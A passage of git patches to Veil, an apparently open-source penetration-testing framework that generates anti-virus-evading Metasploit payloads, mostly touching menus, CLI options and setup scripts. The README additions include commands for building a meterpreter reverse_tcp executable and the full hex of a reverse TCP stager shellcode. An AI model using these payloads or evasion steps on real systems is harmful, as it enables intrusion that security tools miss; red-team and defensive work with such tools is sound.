payload.required_options["RHOST"][0] - - if lhost_out: - self.payload_options['LHOST'] = lhost_out - if lport_out: - self.payload_options['LPORT'] = lport_out - if rhost_out: - self.payload_options['RHOST'] = rhost_out - - # Check if encoder is needed - if payload.required_options["Encoder"][0] is not "None": - self.use_encoder(payload) - self.final_shellcode = payload.customized_shellcode - - # Print payload stats - payload.payload_stats() - if self.invoked: - dummy = input('\nHit enter to return to Veil-Evasion... ') - else: - dummy2 = input('\nHit enter to continue... ') - shellcode_command = "" - - #if "LHOST" in payload.required_options: - # payload.required_options["LHOST"][0] = "" - #if "LPORT" in payload.required_options: - # payload.required_options["LPORT"][0] = "" - #breakout = True - #break - elif shellcode_command.startswith("option"): - # Reprint the shellcode options to console - self.print_options_screen(payload) - - if breakout: - ordnance_helpers.title_screen() - print("Veil-Ordnance Menu") - print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") - print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") - print("Available Commands:\n") - for command in sorted(self.ordnance_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) - print() - break + dummy2 = input('\nHit enter to continue... ') + shellcode_command = "" + + #if "LHOST" in payload.required_options: + # payload.required_options["LHOST"][0] = "" + #if "LPORT" in payload.required_options: + # payload.required_options["LPORT"][0] = "" + #breakout = True + #break + elif shellcode_command.startswith("option"): + # Reprint the shellcode options to console + self.print_options_screen(payload) + + if breakout: + ordnance_helpers.title_screen() + print("Veil-Ordnance Menu") + print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") + print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") + print("Available Commands:\n") + for command in sorted(self.ordnance_main_menu_commands.keys()): + print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) + print() + break - if not shellcode_found: - print() - print(helpers.color("[*] Error: You did not provide a valid payload name, please try again!", warning=True)) - print() return From 01fb5dfe13a3c63f369888ad79c44943bca82b7c Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 13 Apr 2018 15:44:44 +0100 Subject: [PATCH 25/38] README update --- README.md | 35 ++++++++++++++++++++++++----------- tools/ordnance/tool.py | 7 ------- 2 files changed, 24 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index 4dbac22..d1072ca 100644 --- a/README.md +++ b/README.md @@ -7,6 +7,7 @@ Veil is a tool designed to generate metasploit payloads that bypass common anti- Veil is current under support by @ChrisTruncer - - - + ## Software Requirements: The following OSs are officially supported: @@ -31,7 +32,7 @@ The following OSs are likely able to run Veil: ```bash apt -y install veil -veil --setup +/usr/share/veil/config/setup.sh --force --silent ``` ### Git's Quick Install @@ -47,20 +48,21 @@ cd Veil/ bash config/setup.sh --force --silent ``` -### Py2Exe +### ./config/setup.sh // Setup Files -**NOTE**: Using **Py2Exe** is recommended over Pyinstaller _(as it has a lower detection rate)_. +This file is responsible for installing all the dependences of Veil. This includes all the WINE environment, for the Windows side of things. It will install all the necessary Linux packages and GoLang, as well as Python, Ruby and AutoIT for Windows. In addition, it will also run `./config/update-config.py` for your environment. -Install on a Windows Computer: +It includes two optional flags, `--force` and `--silent`: +```bash +--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update. +--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user. +``` -- [Python 3.3](https://www.python.org/downloads/release/python-335/) -- [Py2Exe](https://pypi.python.org/pypi/py2exe/) -- [PyCrypto](http://www.voidspace.org.uk/python/modules.shtml#pycrypto) -- [PyWin32](https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/) +This can be ran either by doing: `./Veil.py --setup` OR `./config/setup.sh --force`. -### Regenerating Configuration file +### ./config/update-config.py // Regenerating Configuration file -Most of the time the config file at `/etc/veil/settings.py` will not need to be rebuilt but in some cases you might be prompted to do so. The file is generated by `./config/update-config.py`. +This will generate the output file for `/etc/veil/settings.py`. Most of the time it will not need to be rebuilt but in some cases you might be prompted to do so (such as a major Veil update). It is important that you are in the `./config/` directory before executing `update-config.py`. If you are not, `/etc/veil/settings.py` will be incorrect and when you launch Veil you will see the following: @@ -70,7 +72,18 @@ It is important that you are in the `./config/` directory before executing `upda 0 payloads loaded ``` -Don't panic. Run: `./Veil.py --config`. +Don't panic. Run either: `./Veil.py --config` OR `cd ./config/; ./update-config.py`. + +### Py2Exe + +**NOTE**: Using **Py2Exe** is recommended over PyInstaller _(as it has a lower detection rate)_. + +MANUALLY Install on a Windows Computer (as this isn't done by Veil's setup): + +- [Python 3.3](https://www.python.org/downloads/release/python-335/) +- [Py2Exe](https://pypi.python.org/pypi/py2exe/) +- [PyCrypto](http://www.voidspace.org.uk/python/modules.shtml#pycrypto) +- [PyWin32](https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/) - - - diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index c749af6..11c26e8 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -409,13 +409,6 @@ def use_payload(self, payload): else: dummy2 = input('\nHit enter to continue... ') shellcode_command = "" - - #if "LHOST" in payload.required_options: - # payload.required_options["LHOST"][0] = "" - #if "LPORT" in payload.required_options: - # payload.required_options["LPORT"][0] = "" - #breakout = True - #break elif shellcode_command.startswith("option"): # Reprint the shellcode options to console self.print_options_screen(payload) From d966c03d892d7e61d26abf3850f3a2a23a2126b8 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 13 Apr 2018 16:45:40 +0100 Subject: [PATCH 26/38] Add Examples to READMEs --- README.md | 151 ++++++++++++++++++++++++++++++++++++++++ Veil.py | 2 +- config/setup.sh | 4 +- config/update-config.py | 29 +++++--- 4 files changed, 172 insertions(+), 14 deletions(-) diff --git a/README.md b/README.md index d1072ca..9fc9630 100644 --- a/README.md +++ b/README.md @@ -87,6 +87,157 @@ MANUALLY Install on a Windows Computer (as this isn't done by Veil's setup): - - - +## Example Usage + +Veil's Main Menu: + +```bash +$ ./Veil.py +=============================================================================== + Veil | [Version]: 3.1.5 +=============================================================================== + [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework +=============================================================================== + +Main Menu + + 2 tools loaded + +Available Tools: + + 1) Evasion + 2) Ordnance + +Available Commands: + + exit Completely exit Veil + info Information on a specific tool + list List available tools + options Show Veil configuration + update Update Veil + use Use a specific tool + + +Main menu choice: +``` + +**Help** +``` +$ ./Veil.py --help +usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config] + [--version] [--ip IP] [--port PORT] [--list-payloads] + [-p [PAYLOAD]] [-o OUTPUT-NAME] + [-c [OPTION=value [OPTION=value ...]]] + [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ] + [--compiler pyinstaller] [--clean] [--ordnance-payload rev_tcp] + [--list-encoders] [-e ENCODER] [-b \\x00\\x0a..] + [--print-stats] + +Veil is a framework containing multiple tools. + +[*] Veil Options: + --list-tools List Veil's tools + -t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.) + --update Update the Veil framework + --setup Run the Veil framework setup file & regenerate the + configuration + --config Regenerate the Veil framework configuration file + --version Displays version and quits + +[*] Callback Settings: + --ip IP, --domain IP IP address to connect back to + --port PORT Port number to connect to + +[*] Payload Settings: + --list-payloads Lists all available payloads for that tool + +[*] Veil-Evasion Options: + -p [PAYLOAD] Payload to generate + -o OUTPUT-NAME Output file base name for source and compiled binaries + -c [OPTION=value [OPTION=value ...]] + Custom payload module options + --msfoptions [OPTION=value [OPTION=value ...]] + Options for the specified metasploit payload + --msfvenom [] Metasploit shellcode to generate (e.g. + windows/meterpreter/reverse_tcp etc.) + --compiler pyinstaller + Compiler option for payload (currently only needed for + Python) + --clean Clean out payload folders + +[*] Veil-Ordnance Shellcode Options: + --ordnance-payload rev_tcp + Payload type (bind_tcp, rev_tcp, etc.) + +[*] Veil-Ordnance Encoder Options: + --list-encoders Lists all available encoders + -e ENCODER, --encoder ENCODER + Name of shellcode encoder to use + -b \\x00\\x0a.., --bad-chars \\x00\\x0a.. + Bad characters to avoid + --print-stats Print information about the encoded shellcode +$ +``` + +**Veil Evasion CLI ** + +```bash +$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444 +=============================================================================== + Veil-Evasion +=============================================================================== + [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework +=============================================================================== + +runtime/internal/sys +runtime/internal/atomic +runtime +errors +internal/race +sync/atomic +math +sync +io +unicode/utf8 +internal/syscall/windows/sysdll +unicode/utf16 +syscall +strconv +reflect +encoding/binary +command-line-arguments +=============================================================================== + Veil-Evasion +=============================================================================== + [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework +=============================================================================== + + [*] Language: go + [*] Payload Module: go/meterpreter/rev_tcp + [*] Executable written to: /var/lib/veil/output/compiled/payload.exe + [*] Source code written to: /var/lib/veil/output/source/payload.go + [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc +$ +$ file /var/lib/veil/output/compiled/payload.exe +/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows +$ +``` + +**Veil Ordnance CLI ** + +```bash +$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444 +Payload Name: Reverse TCP Stager (Stage 1) +IP Address: 127.0.0.1 +Port: 4444 +Shellcode Size: 287 + +\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3 +$ +``` + +- - - + ## Licensing This project is licensed under the GNU General Public License v3 license. diff --git a/Veil.py b/Veil.py index 36235ed..b9f205b 100755 --- a/Veil.py +++ b/Veil.py @@ -85,7 +85,7 @@ "-e", "--encoder", metavar="ENCODER", default=None, help='Name of shellcode encoder to use') ordnance_encoder.add_argument( - "-b", "--bad-chars", metavar="\\\\x00\\\\x0a..", default=None, + "-b", "--bad-chars", metavar="\\x00\\x0a..", default=None, help='Bad characters to avoid') ordnance_encoder.add_argument( '--print-stats', default=False, action='store_true', diff --git a/config/setup.sh b/config/setup.sh index fbea816..1f53b32 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -285,11 +285,11 @@ func_package_deps(){ ## Couple of extras for other OSs if [ "${os}" == "kali" ] \ || [ "${os}" == "parrot" ]; then - sudo ${arg} apt-get -y install metasploit-framework python2.7 python3 python3-pycryptodome \ + sudo ${arg} apt-get -y install metasploit-framework python2.7 python3 python3-pycryptodome python3-crypto \ || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (5)\n${RESET}\n" tmp="$?" if [[ "${tmp}" -ne "0" ]]; then - msg="Failed to install dependencies (Metasploit-Framework/python2.7/python3/python3-pycryptodome)... Exit code: ${tmp}" + msg="Failed to install dependencies (Metasploit-Framework/python2.7/python3/python3-pycryptodome/python3-crypto)... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi diff --git a/config/update-config.py b/config/update-config.py index 9968324..335e5bc 100755 --- a/config/update-config.py +++ b/config/update-config.py @@ -207,41 +207,48 @@ def generateConfig(options): # Check the paths are correct (WINEPREFIX) while not os.path.isdir( options["TEMP_PATH"] ): - path = raw_input( " [>] Please enter the directory of your system's temp path (e.g. /tmp/): " ) + path = input( " [>] Please enter the directory of your system's temp path (e.g. /tmp/): " ) + path = str(path) options["TEMP_PATH"] = path # Check the paths are correct (METASPLOIT_PATH) while not os.path.isdir( options["METASPLOIT_PATH"] ): - path = raw_input( " [>] Please enter the directory of the Metasploit Framework (e.g. /opt/metasploit-framework/): " ) + path = input( " [>] Please enter the directory of the Metasploit Framework (e.g. /opt/metasploit-framework/): " ) + path = str(path) options["METASPLOIT_PATH"] = path # Check the paths are correct (MSFVENOM_PATH) while not os.path.isfile( options["MSFVENOM_PATH"] + "/msfvenom" ): - path = raw_input( " [>] Please enter the directory of msfvenom (e.g. /usr/bin/): " ) + path = input( " [>] Please enter the directory of msfvenom (e.g. /usr/bin/): " ) + path = str(path) options["MSFVENOM_PATH"] = path # Check the paths are correct (VEIL_PATH) while not os.path.isdir( options["VEIL_PATH"] ): - print( "\n [i] Can't find Veil's path? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) - path = raw_input( " [>] Please enter the directory to Veil (e.g. /opt/veil/): " ) + print( "\n [i] Can't find Veil's path? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) + path = str(path) + path = input( " [>] Please enter the directory to Veil (e.g. /opt/veil/): " ) options["VEIL_PATH"] = path # Check the paths are correct (PYINSTALLER_PATH) while not os.path.isdir( options["PYINSTALLER_PATH"] ): - print( "\n [i] Can't find PyInstaller? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) - path = raw_input( " [>] Please enter the directory of PyInstaller (e.g. /var/lib/veil/PyInstaller/): " ) + print( "\n [i] Can't find PyInstaller? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) + path = input( " [>] Please enter the directory of PyInstaller (e.g. /var/lib/veil/PyInstaller/): " ) + path = str(path) options["PYINSTALLER_PATH"] = path # Check the paths are correct (WINEPREFIX) while not os.path.isdir( options["WINEPREFIX"] ): - print( "\n [i] Can't find WINE profile? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) - path = raw_input( " [>] Please enter the directory of Veil's WINE profile (e.g. /var/lib/veil/wine/): " ) + print( "\n [i] Can't find WINE profile? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) + path = input( " [>] Please enter the directory of Veil's WINE profile (e.g. /var/lib/veil/wine/): " ) + path = str(path) options["WINEPREFIX"] = path # Check the paths are correct (GOLANG_PATH) while not os.path.isdir( options["GOLANG_PATH"] ): - print( "\n [i] Can't find GoLang? Run: %s --force --silent\n" % ( os.path.abspath("./config/setup.sh" ) ) ) - path = raw_input( " [>] Please enter the directory of GoLang (e.g. /var/lib/veil/go/): " ) + print( "\n [i] Can't find GoLang? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) + path = input( " [>] Please enter the directory of GoLang (e.g. /var/lib/veil/go/): " ) + path = str(path) options["GOLANG_PATH"] = path # Unsupported platform... else: From 51221cb47447b66a78f1841bed8a2c9c6ca0fa98 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 13 Apr 2018 16:47:00 +0100 Subject: [PATCH 27/38] Typos --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 9fc9630..a3febe3 100644 --- a/README.md +++ b/README.md @@ -122,7 +122,7 @@ Main menu choice: ``` **Help** -``` +```bash $ ./Veil.py --help usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config] [--version] [--ip IP] [--port PORT] [--list-payloads] @@ -179,7 +179,7 @@ Veil is a framework containing multiple tools. $ ``` -**Veil Evasion CLI ** +**Veil Evasion CLI** ```bash $ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444 @@ -223,7 +223,7 @@ $ file /var/lib/veil/output/compiled/payload.exe $ ``` -**Veil Ordnance CLI ** +**Veil Ordnance CLI** ```bash $ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444 From 8915e5679d403e7ccf42ba29fd9abcf2af909bb2 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 13 Apr 2018 17:40:12 +0100 Subject: [PATCH 28/38] Restore returning to menu after generating --- tools/evasion/tool.py | 6 +++++- tools/ordnance/tool.py | 7 +++++++ 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 3e4558d..3b60d6e 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -410,7 +410,11 @@ def use_payload(self, selected_payload): payload_options_command = "" else: selected_payload.generate() - outfile.compiler(selected_payload) + if not outfile.compiler(selected_payload): + payload_options_command = "" + else: + payload_options_command = "" + break elif payload_options_command.startswith("exit") or payload_options_command.startswith("quit"): sys.exit(0) diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index 11c26e8..6d288ef 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -409,6 +409,13 @@ def use_payload(self, payload): else: dummy2 = input('\nHit enter to continue... ') shellcode_command = "" + + if "LHOST" in payload.required_options: + payload.required_options["LHOST"][0] = "" + if "LPORT" in payload.required_options: + payload.required_options["LPORT"][0] = "" + breakout = True + break elif shellcode_command.startswith("option"): # Reprint the shellcode options to console self.print_options_screen(payload) From 1ece1d0a5e22e13b542839480e41c0ffa3b62ab7 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Mon, 16 Apr 2018 16:45:25 +0100 Subject: [PATCH 29/38] Gave the CLI command line some love. Much more verbose/user friendly --- README.md | 8 ++-- Veil.py | 10 ++++- config/setup.sh | 11 ++--- tools/evasion/tool.py | 20 ++++++--- tools/ordnance/tool.py | 100 ++++++++++++++++++++++------------------- 5 files changed, 84 insertions(+), 65 deletions(-) diff --git a/README.md b/README.md index a3febe3..a7019c7 100644 --- a/README.md +++ b/README.md @@ -129,8 +129,8 @@ usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config] [-p [PAYLOAD]] [-o OUTPUT-NAME] [-c [OPTION=value [OPTION=value ...]]] [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ] - [--compiler pyinstaller] [--clean] [--ordnance-payload rev_tcp] - [--list-encoders] [-e ENCODER] [-b \\x00\\x0a..] + [--compiler pyinstaller] [--clean] [--ordnance-payload [PAYLOAD]] + [--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats] Veil is a framework containing multiple tools. @@ -166,14 +166,14 @@ Veil is a framework containing multiple tools. --clean Clean out payload folders [*] Veil-Ordnance Shellcode Options: - --ordnance-payload rev_tcp + --ordnance-payload [PAYLOAD] Payload type (bind_tcp, rev_tcp, etc.) [*] Veil-Ordnance Encoder Options: --list-encoders Lists all available encoders -e ENCODER, --encoder ENCODER Name of shellcode encoder to use - -b \\x00\\x0a.., --bad-chars \\x00\\x0a.. + -b \\x00\\x0a.., --bad-chars \x00\x0a.. Bad characters to avoid --print-stats Print information about the encoded shellcode $ diff --git a/Veil.py b/Veil.py index b9f205b..57e44c6 100755 --- a/Veil.py +++ b/Veil.py @@ -74,7 +74,7 @@ ordnance_shellcode = parser.add_argument_group('[*] Veil-Ordnance Shellcode Options') ordnance_shellcode.add_argument( - "--ordnance-payload", metavar="rev_tcp", default=None, + "--ordnance-payload", metavar="PAYLOAD", default=None, help='Payload type (bind_tcp, rev_tcp, etc.)') ordnance_encoder = parser.add_argument_group('[*] Veil-Ordnance Encoder Options') @@ -95,34 +95,42 @@ the_conductor = orchestra.Conductor(args) + # --help if args.h: parser.print_help() sys.exit() + # --version if args.version: messages.title_screen() sys.exit() + # --update if args.update: the_conductor.update_veil() sys.exit() + # --setup if args.setup: the_conductor.setup_veil() sys.exit() + # --config if args.config: the_conductor.config_veil() sys.exit() + # --list-tools if args.list_tools: the_conductor.list_tools() sys.exit() + # --clean if args.clean: helpers.clean_payloads() sys.exit() + # Anything else that isn't defined if not args.tool: the_conductor.main_menu() sys.exit() diff --git a/config/setup.sh b/config/setup.sh index 1f53b32..08757c3 100755 --- a/config/setup.sh +++ b/config/setup.sh @@ -64,7 +64,7 @@ RESET="\033[00m" # Normal func_title(){ ## Echo title echo " ==========================================================================" - echo " Veil (Setup Script) | [Updated]: 2018-04-12" + echo " Veil (Setup Script) | [Updated]: 2018-04-16" echo " ==========================================================================" echo " [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework" echo " ==========================================================================" @@ -83,6 +83,8 @@ func_title(){ echo " winedir = ${winedir}" echo " winedrive = ${winedrive}" echo " gempath = ${gempath}" + echo " silent = ${silent}" + echo " force = ${force}" echo "" } @@ -108,11 +110,6 @@ func_check_env(){ fi - ## Feedback to user - [ "${silent}" == "true" ] && echo -e " [I] ${YELLOW}Silent Mode${RESET}: ${GREEN}Enabled${RESET}" - [ "${force}" == "true" ] && echo -e " [I] ${YELLOW}Force Mode${RESET}: ${GREEN}Enabled${RESET}" - - ## Double check install (if not silent) echo -e "\n\n [?] ${BOLD}Are you sure you wish to install Veil?${RESET}\n" echo -en " Continue with installation? ([${BOLD}y${RESET}]es/[${BOLD}s${RESET}]ilent/[${BOLD}N${RESET}]o): " @@ -289,7 +286,7 @@ func_package_deps(){ || echo -e "${RED}[ERROR]: Failed with apt-get install dependencies (5)\n${RESET}\n" tmp="$?" if [[ "${tmp}" -ne "0" ]]; then - msg="Failed to install dependencies (Metasploit-Framework/python2.7/python3/python3-pycryptodome/python3-crypto)... Exit code: ${tmp}" + msg="Failed to install the additional Kali/parrot dependencies... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 3b60d6e..1fdd4c0 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -46,7 +46,7 @@ def __init__(self, cli_options=None): "exit": "Completely exit Veil", "back": "Go to Veil's main menu", "clean": "Remove generated artifacts", - "checkvt": "Check VirusTotal against generated hashes"} + "checkvt": "Check VirusTotal.com against generated hashes"} self.final_shellcode = "" self.payload_option_commands = { "set": "Set shellcode option", @@ -58,7 +58,7 @@ def __init__(self, cli_options=None): def check_vt(self, interactive=True): """ - Checks payload hashes in veil-output/hashes.txt vs VirusTotal + Checks payload hashes in veil-output/hashes.txt vs VirusTotal.com """ # Command for in-menu vt-notify check against hashes within hash file @@ -78,7 +78,7 @@ def check_vt(self, interactive=True): print(helpers.color(" [!] File %s with hash %s found!" % (filename, filehash), warning=True)) found = True if found is False: - print(" [*] No payloads found on VirusTotal!") + print(" [*] No payloads found on VirusTotal.com!") input("\n [>] Press any key to continue...") @@ -126,12 +126,19 @@ def clean_artifacts(self, interactive=True): return def cli_menu(self, invoked=False): + evasion_helpers.title_screen() + + # --list-payloads if self.command_options.list_payloads: self.list_loaded_payloads() + sys.exit() - # check if a payload is provided, and if so, start the generation + # Check if a payload is provided, and if so, start the generation # process - elif self.command_options.p: + # Missing -p ? + if not self.command_options.p: + print(helpers.color("[*] Error: Missing --payload selection (-p ). Try: -t Evasion --list-payloads", warning=True)) + else: user_cli_payload = self.return_payload_object(self.command_options.p) if not user_cli_payload: print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) @@ -142,6 +149,7 @@ def cli_menu(self, invoked=False): sys.exit() # Make sure IP is valid + # --ip if self.command_options.ip is not None: valid_ip = helpers.validate_ip(self.command_options.ip) valid_hostname = helpers.validate_hostname(self.command_options.ip) @@ -183,6 +191,7 @@ def cli_menu(self, invoked=False): user_cli_payload.cli_shellcode = cli_shellcode # Loop over setting required options + # -c if self.command_options.c is not None: for payload_option in self.command_options.c: if payload_option is not '': @@ -204,7 +213,6 @@ def cli_menu(self, invoked=False): # figure out how to compile the code outfile.compiler(user_cli_payload, invoked=True, cli_object=self.command_options) - return def display_payload_options(self, selected_pload, showTitle=True): diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index 6d288ef..e32f13a 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -47,21 +47,36 @@ def __init__(self, cli_options=None): self.payload_options = {} def cli_menu(self, invoked=False): + ordnance_helpers.title_screen() + # Check to see if we're just listing payloads or encoders # If so, do that and then exit + # --list-payloads if self.command_options.list_payloads: self.print_payloads() sys.exit() + # --list-encoders elif self.command_options.list_encoders: self.print_encoders() sys.exit() + # Now let's check for payloads we're doing - if self.command_options.ordnance_payload: - payload_found = False - for payload in self.active_shellcode.values(): - if self.command_options.ordnance_payload.lower() == payload.cli_name: - payload_found = True - if "LHOST" in payload.required_options: + # Missing --ordnance-payload ? + if not self.command_options.ordnance_payload: + print(helpers.color("[*] Error: Missing ordnance-payload selection (--ordnance-payload ). Try: -t Ordnance --list-payloads", warning=True)) + else: + payload_selected = self.command_options.ordnance_payload.lower() + payload = self.return_payload_object(payload_selected) + if not payload: + print(helpers.color("[*] Error: You specified a non-existent Ordnance payload!", warning=True)) + sys.exit() + else: + if "LHOST" in payload.required_options: + # Is --ip missing? + if self.command_options.ip is None: + print(helpers.color("[*] Error: Missing --ip ", warning=True)) + sys.exit() + else: valid_ip = helpers.validate_ip(self.command_options.ip) valid_hostname = helpers.validate_hostname(self.command_options.ip) if valid_ip: @@ -71,46 +86,39 @@ def cli_menu(self, invoked=False): payload.required_options["LHOST"][0] = self.command_options.ip else: print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) sys.exit() else: print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - if "LPORT" in payload.required_options: - if 0 < self.command_options.port < 65535: - payload.required_options["LPORT"][0] = self.command_options.port - else: - print(helpers.color("[*] Error: Invalid port number provided!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) sys.exit() - # Generate the original shellcode - payload.cli_gen_shellcode() - self.final_shellcode = payload.customized_shellcode - # Check if an encoder is being called by the user - if self.command_options.encoder is not None: - encoder_found_here = False - if "BadChars" in payload.required_options: - payload.required_options["BadChars"][0] = self.command_options.bad_chars - for loaded_encoder in self.active_encoders.values(): - if self.command_options.encoder.lower() == loaded_encoder.cli_name: - encoder_found_here = True - loaded_encoder.cli_encode(payload) - if not encoder_found_here: - print(helpers.color("[*] Error: Encoder you specified was not found!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - self.final_shellcode = payload.customized_shellcode - if invoked: - pass + if "LPORT" in payload.required_options: + if 0 < self.command_options.port < 65535: + payload.required_options["LPORT"][0] = self.command_options.port else: - payload.payload_stats() - - # If the payload supplied isn't found - if not payload_found: - print(helpers.color("[*] Error: You specified a non-existent Ordnance payload!", warning=True)) - print(helpers.color("[*] Go to start... do not collect $200!", warning=True)) - sys.exit() + print(helpers.color("[*] Error: Invalid port number provided!", warning=True)) + print(helpers.color("[*] Try again?", warning=True)) + sys.exit() + # Generate the original shellcode + payload.cli_gen_shellcode() + self.final_shellcode = payload.customized_shellcode + # Check if an encoder is being called by the user + if self.command_options.encoder is not None: + encoder_found_here = False + if "BadChars" in payload.required_options: + payload.required_options["BadChars"][0] = self.command_options.bad_chars + for loaded_encoder in self.active_encoders.values(): + if self.command_options.encoder.lower() == loaded_encoder.cli_name: + encoder_found_here = True + loaded_encoder.cli_encode(payload) + if not encoder_found_here: + print(helpers.color("[*] Error: Encoder you specified was not found!", warning=True)) + print(helpers.color("[*] Try again?", warning=True)) + sys.exit() + self.final_shellcode = payload.customized_shellcode + if invoked: + pass + else: + payload.payload_stats() + return def load_encoders(self, cli_args): for name in sorted( glob.glob('tools/ordnance/encoders/*.py') ): @@ -133,11 +141,8 @@ def print_encoders(self): print("\tCommand Line Name => Description") print("-" * 79) print() - #x = 1 for encoder_module in self.active_encoders.values(): - print( "\t%s)\t%s => %s" % ( x, '{0: <24}'.format( helpers.color( encoder_module.cli_name ) ), encoder_module.name ) ) - print( "\t%s => %s" % ( x, '{0: <24}'.format( helpers.color( encoder_module.cli_name ) ), encoder_module.name ) ) - #x += 1 + print( "\t%s => %s" % ( '{0: <24}'.format( helpers.color( encoder_module.cli_name ) ), encoder_module.name ) ) return def print_shellcode_option_commands(self): @@ -217,6 +222,7 @@ def tool_main_menu(self, invoked=False): list_selection = ordnance_main_command.split()[1].lower() # Check and see what we are listing + # Payloads if list_selection.startswith('p'): ordnance_helpers.title_screen() self.print_payloads() @@ -224,6 +230,7 @@ def tool_main_menu(self, invoked=False): ordnance_main_command = "" show_ordnance_menu = False + # Encdoers elif 